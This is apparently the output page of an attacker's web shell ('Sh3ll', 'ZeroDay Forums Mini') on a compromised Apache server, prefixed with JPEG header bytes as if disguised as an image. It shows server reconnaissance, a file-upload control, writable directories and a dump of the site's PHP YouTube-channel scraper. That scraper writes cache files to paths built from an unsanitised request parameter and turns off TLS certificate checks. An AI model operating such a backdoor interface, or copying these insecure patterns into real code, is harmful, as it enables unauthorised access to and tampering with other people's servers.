ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/img.123vid.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/img.123vid.top/youtube_channel.php
<?php
function curl_func($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
x-client-data: CJW2yQEIpbbJAQjBtskBCKmdygEYu7rKARiavsoB');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
include 'simple_html_dom.php';

$keyword = $_GET['id'];

$check = substr($keyword, 0, 2);
if($check!='UC'){
    $url_get = 'https://www.youtube.com/user/'.$keyword.'/videos?app=desktop';
    $ref = 'https://m.youtube.com/user/'.$keyword.'/videos';
}else {
    $url_get = 'https://www.youtube.com/channel/' . $keyword . '/videos?view=0&flow=grid';
    $ref =  'https://m.youtube.com/channel/' . $keyword . '/videos';
}

$day_time = date('m-Y');
$day_file_name = $keyword.'-'.$day_time;
$content2 = '';
if(!file_exists('cache/youtube/channel-'.$day_file_name)){
    $content2 = curl_func($url_get);
    if(trim($content2)!='') {
        file_put_contents('cache/youtube/channel-'.$day_file_name, $content2);
    }
}else{
    $content2 = file_get_contents('cache/youtube/channel-'.$day_file_name);
}
$html = str_get_html($content2);
$detail['title'] = $html->find('meta[property=og:title]',0)->content;
//$detail['des'] = $html->find('meta[property=og:description]', 0)->content;
$detail['avatar'] = $html->find('meta[property=og:image]', 0)->content;

$content2 = explode('window["ytInitialData"] =',$content2);
$content2 = explode(';',$content2[1]);
$arr = json_decode($content2[0],true);
$detail['des'] = $arr['metadata']['channelMetadataRenderer']['description'];
$detail['continuation'] = $arr['contents']['twoColumnBrowseResultsRenderer']['tabs']['1']['tabRenderer']['content']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['gridRenderer']['continuations']['0']['nextContinuationData']['continuation'];
$detail['ref'] = base64_encode($ref);
$detail['total_video'] = $arr['contents']['twoColumnBrowseResultsRenderer']['tabs']['1']['tabRenderer']['content']['sectionListRenderer']['subMenu']['channelSubMenuRenderer']['contentTypeSubMenuItems']['0']['endpoint']['commandMetadata']['webCommandMetadata']['rootVe'];

$detail['videos'] = array();
$i=0;
/*print_r($arr['contents']['twoColumnBrowseResultsRenderer']['tabs'][1]['tabRenderer']['content']['sectionListRenderer']['contents'][1]);
exit();*/
for($j=0;$j<=4;$j++) {
    foreach ($arr['contents']['twoColumnBrowseResultsRenderer']['tabs'][1]['tabRenderer']['content']['sectionListRenderer']['contents'][$j]['itemSectionRenderer']['contents'][0]['gridRenderer']['items'] as $key => $val) {
        if ($val['gridVideoRenderer']['videoId'] != '') {
            $detail['videos'][$i]['title'] = $val['gridVideoRenderer']['title']['simpleText'];
            $detail['videos'][$i]['id'] = $val['gridVideoRenderer']['videoId'];
            $detail['videos'][$i]['img'] = '//i.ytimg.com/vi/' . $val['id'] . '/mqdefault.jpg';
            $detail['videos'][$i]['duration'] = $val['gridVideoRenderer']['thumbnailOverlays'][0]['thumbnailOverlayTimeStatusRenderer']['text']['simpleText'];
            $i++;
        }
    }
}
for($k=0;$k<=4;$k++) {
    foreach ($arr['contents']['twoColumnBrowseResultsRenderer']['tabs'][1]['tabRenderer']['content']['sectionListRenderer']['contents'][$k]['itemSectionRenderer']['contents'][0]['shelfRenderer']['content']['horizontalListRenderer']['items'] as $key => $val) {
        if ($val['gridVideoRenderer']['videoId'] != '') {
            $detail['videos'][$i]['title'] = $val['gridVideoRenderer']['title']['simpleText'];
            $detail['videos'][$i]['id'] = $val['gridVideoRenderer']['videoId'];
            $detail['videos'][$i]['img'] = '//i.ytimg.com/vi/' . $val['id'] . '/mqdefault.jpg';
            $detail['videos'][$i]['duration'] = $val['gridVideoRenderer']['thumbnailOverlays'][0]['thumbnailOverlayTimeStatusRenderer']['text']['simpleText'];
            $i++;
        }
    }
}
echo json_encode($detail);
exit();
print_r($detail);
exit();
?>

ZeroDay Forums Mini